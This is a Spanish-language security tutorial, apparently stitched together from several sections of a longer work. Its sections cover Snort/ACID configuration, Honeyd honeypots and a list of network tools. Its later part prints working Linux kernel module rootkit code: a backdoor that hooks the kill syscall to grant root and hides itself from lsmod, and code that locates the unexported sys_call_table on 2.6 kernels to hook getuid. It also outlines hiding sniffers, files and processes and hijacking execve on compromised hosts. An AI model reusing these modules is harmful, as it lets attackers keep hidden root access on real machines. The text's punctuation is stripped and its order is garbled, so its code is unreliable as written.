Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
